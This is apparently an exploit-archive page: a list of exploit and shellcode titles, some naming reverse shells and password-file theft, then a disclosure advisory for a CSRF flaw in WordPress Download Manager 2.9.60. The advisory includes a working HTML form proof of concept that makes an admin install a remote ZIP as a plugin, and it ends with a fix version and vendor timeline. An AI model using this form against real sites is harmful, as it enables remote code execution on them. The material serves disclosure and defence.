
28 changes to exploits/shellcodes Multiple CPUs - Information Leak Using Speculative Execution Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check Jungo Windriver 12.5.1 - Privilege Escalation DiskBoss Enterprise 8.8.16 - Buffer Overflow HPE iMC - dbman RestoreDBase Unauthenticated Remote Command Execution (Metasploit) HPE iMC - dbman RestartDB Unauthenticated Remote Command Execution (Metasploit) Synology Photostation 6.7.2-3429 - Remote Code Execution (Metasploit) Worpress Plugin Service Finder Booking < 3.2 - Local File Disclosure Muviko 1.1 - SQL Injection WordPress Plugin Events Calendar - 'event_id' SQL Injection WordPress Plugin Social Media Widget by Acurax 3.2.5 - Cross-Site Request Forgery WordPress Plugin CMS Tree Page View 1.4 - Cross-Site Request Forgery / Privilege Escalation WordPress Plugin Admin Menu Tree Page View 2.6.9 - Cross-Site Request Forgery / Privilege Escalation WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting BSD/x86 - Bind TCP Shell (31337/TCP) + setuid(0) Shellcode (94 bytes) BSD/x86 - setuid(0) + Bind TCP Shell (31337/TCP) Shellcode (94 bytes) BSD/x86 - execve /bin/cat /etc/master.passwd | mail [email] Shellcode (92 bytes) BSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - execve(/bin/cat /etc/master.passwd) | mail root@localhost Shellcode (92 bytes) FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) Linux/x86 - execve /bin/dash Shellcode (30 bytes) Alpha - /bin/sh Shellcode (80 bytes) Alpha - execve() Shellcode (112 bytes) Alpha - setuid() Shellcode (156 bytes) BSD/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh_) Shellcode (36 bytes) Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)
57 lines
No EOL
2 KiB
Text
57 lines
No EOL
2 KiB
Text
* Exploit Title: WordPress Download Manager [CSRF]
|
|
* Discovery Date: 2017-12-12
|
|
* Exploit Author: Panagiotis Vagenas
|
|
* Author Link: https://twitter.com/panVagenas
|
|
* Vendor Homepage: https://www.wpdownloadmanager.com/
|
|
* Software Link: https://wordpress.org/plugins/download-manager
|
|
* Version: 2.9.60
|
|
* Tested on: WordPress 4.9.1
|
|
* Category: WebApps, WordPress
|
|
|
|
|
|
Description
|
|
-----------
|
|
|
|
Plugin implements the AJAX action `wpdm-install-addon` which calls the
|
|
function `wpdm_install_addon`. This function doesn't take any anti-CSRF
|
|
measures thus making it susceptible to those kind of attacks.
|
|
|
|
What is interesting about this function though, is the fact that it
|
|
provides plugin installation functionality for admin users. The origin of
|
|
the package is defined by the `$_REQUEST['addon']` if is set without any
|
|
validation.
|
|
|
|
A malicious actor can exploit this to install a malicious plugin in the
|
|
vulnerable site. In fact the install package doesn't need to be a valid
|
|
plugin, it could just contain malicious code. Because the package is
|
|
extracted in the `/wp-content/plugins/` dir without changing it's original
|
|
folder structure, an attacker could leverage the CSRF to upload malicious
|
|
code and execute the code on the infected server.
|
|
|
|
PoC
|
|
---
|
|
|
|
```
|
|
<pre class="lang:html decode:true "><form method="post" action="http://vuln.dev/wp-admin/admin-ajax.php">
|
|
<input type="hidden" name="action" value="wpdm-install-addon">
|
|
<label> This is the remote url to get plugin from. Everything is valid as long as it's a ZIP archive and ends with .zip
|
|
<input type="text" name="addon" value="https://downloads.wordpress.org/plugin/bbpress.2.5.13.zip">
|
|
</label>
|
|
<button type="submit" value="Submit">Submit</button>
|
|
</form>
|
|
|
|
```
|
|
|
|
Solution
|
|
--------
|
|
|
|
Update to version 2.9.61.
|
|
|
|
Timeline
|
|
--------
|
|
|
|
1. **2017-12-12**: Discovered
|
|
2. **2017-12-14**: Tried to reach out to vendor using support email address
|
|
3. **2017-12-16**: Vendor replied
|
|
4. **2017-12-16**: Vendor received details
|
|
5. **2017-12-21**: Vendor released a fix |